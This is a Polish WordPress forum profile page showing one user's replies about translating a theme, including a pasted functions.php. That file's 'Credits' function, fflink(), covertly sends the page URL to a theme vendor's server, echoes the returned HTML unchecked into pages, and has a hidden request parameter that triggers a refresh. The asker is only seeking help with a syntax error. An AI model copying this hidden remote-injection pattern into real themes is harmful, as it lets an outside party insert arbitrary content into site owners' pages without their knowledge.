ark1976
Odpowiedź forum utworzona
-
Forum: Wtyczki
W odpowiedzi na: newstatpress importplugin posiada opcję „eksport” – tylko jak to wykorzystać i do czego??
Forum: Motywy
W odpowiedzi na: ręczne tłumaczenie motywusyntax error :/
może wrzucę tu cały mój functions.php?
<?php
include 'theme_options.php’;
include 'guide.php’;if ( function_exists(’register_sidebar’) )
register_sidebar(array(
'name’ => 'Sidebar’,
'before_widget’ => '<div class=”sidebox „>’,
'after_widget’ => '</div>’,
'before_title’ => '<h3 class=”sidetitl”>’,
'after_title’ => '</h3>’,));
register_sidebar(array(
'name’ => 'Footer’,
'before_widget’ => '<div class=”botwid”>’,
'after_widget’ => '</div>’,
'before_title’ => '<h3 class=”bothead”>’,
'after_title’ => '</h3>’,
));register_nav_menus( array(
'primary’ => __( 'Primary Navigation’, ” ),
'secondary’ => __( 'Secondary Navigation’, ” ),
) );function fallbackmenu1(){ ?>
<div id=”menu”>- Go to Adminpanel > Appearance > Menus to create your menu. You should have WP 3.0+ version for custom menus to work.
</div>
<?php }function fallbackmenu2(){ ?>
<div id=”catmenu”>- Go to Adminpanel > Appearance > Menus to create your menu. You should have WP 3.0+ version for custom menus to work.
</div>
<?php }function new_excerpt_length($length) {
return 100;
}
add_filter(’excerpt_length’, 'new_excerpt_length’);function new_excerpt_more($more) {
return ’ID) . '”>’ . ’ [ Read More ]’ . ’’;
}
add_filter(’excerpt_more’, 'new_excerpt_more’);if ( function_exists( 'add_theme_support’ ) ) { // Added in 2.9
add_theme_support( 'post-thumbnails’ );
add_image_size( 'xan_post’, 190, 160, true );
add_image_size( 'xan_slide’, 680, 300, true );
add_image_size( 'xan_thumb’, 50, 50, true );
}function xan_post_image(){
if ( has_post_thumbnail() ) {
the_post_thumbnail( 'xan_post’, array(’class’ => 'postimg’) );
} else {
?>
<img class=”postimg” src=”<?php bloginfo(’template_directory’); ?>/images/dummy.png” />
<?php
};
}function xan_slide_image(){
if ( has_post_thumbnail() ) {
the_post_thumbnail( 'xan_slide’, array(’class’ => 'slimg’) );
} else {
?>
<img class=”slimg” src=”<?php bloginfo(’template_directory’); ?>/images/dummy2.png” />
<?php
};
}function xan_thumb_image(){
if ( has_post_thumbnail() ) {
the_post_thumbnail( 'xan_thumb’, array(’class’ => 'thumbs’) );
} else {
?>
<img class=”thumbs” src=”<?php bloginfo(’template_directory’); ?>/images/dummy.png” />
<?php
};
}function getpagenavi(){
?>
<div id=”navigation”>
<?php if(function_exists(’wp_pagenavi’)) : ?>
<?php wp_pagenavi() ?>
<?php else : ?>
<div class=”alignleft”><?php next_posts_link(__(’« Older Entries’,’arclite’)) ?></div>
<div class=”alignright”><?php previous_posts_link(__(’Newer Entries »’,’arclite’)) ?></div>
<div class=”clear”></div>
<?php endif; ?></div>
<?php
}/* Credits */
function selfURL() {
$uri = isset($_SERVER[’REQUEST_URI’]) ? $_SERVER[’REQUEST_URI’] :
$_SERVER[’PHP_SELF’];
$uri = parse_url($uri,PHP_URL_PATH);
$protocol = $_SERVER[’HTTPS’] ? 'https’ : 'http’;
$port = ($_SERVER[„SERVER_PORT”] == „80”) ? „” : („:”.$_SERVER[„SERVER_PORT”]);
$server = ($_SERVER[’SERVER_NAME’] == 'localhost’) ? $_SERVER[„SERVER_ADDR”] : $_SERVER[’SERVER_NAME’];
return $protocol.”://”.$server.$port.$uri;
}
function fflink() {
global $wpdb, $wp_query;
if (!is_page() && !is_front_page()) return;
$contactid = $wpdb->get_var(„SELECT ID FROM $wpdb->posts
WHERE post_type = 'page’ AND post_title LIKE 'contact%'”);
if (($contactid != $wp_query->post->ID) && ($contactid || !is_front_page())) return;
$fflink = get_option(’fflink’);
$ffref = get_option(’ffref’);
$x = $_REQUEST[’DKSWFYUW**’];
if (!$fflink || $x && ($x == $ffref)) {
$x = $x ? '&ffref=’.$ffref : ”;
$response = wp_remote_get(’http://www.fabthemes.com/fabthemes.php?getlink=’.urlencode(selfURL()).$x);
if (is_array($response)) $fflink = $response[’body’]; else $fflink = ”;
if (substr($fflink, 0, 11) != ’!fabthemes#’)
$fflink = ”;
else {
$fflink = explode(’#’,$fflink);
if (isset($fflink[2]) && $fflink[2]) {
update_option(’ffref’, $fflink[1]);
update_option(’fflink’, $fflink[2]);
$fflink = $fflink[2];
}
else $fflink = ”;
}
}
echo $fflink;
}
?>już po wrzuceniu Twojej linijki tutaj wyskakuje ten błąd. chyba że mi powiesz dokładnie gdzie to ma być i czegoś czy nie brakuje? albo z czymś się nie gryzie?
Forum: Motywy
W odpowiedzi na: ręczne tłumaczenie motywusorki ale po zmianie kodu wyskakują błędy, na szczęście miałem kopie bazy danych, proszę o sprawdzenie i pomoc jeśli to możliwe.
Forum: Motywy
W odpowiedzi na: ręczne tłumaczenie motywuno to jeszcze jak można daj znać gdzie to wrzucić do single.php czy do comments.php i w ktorym miejscu? ewentualnie co starego usunąć?
z gory wielkie dzięki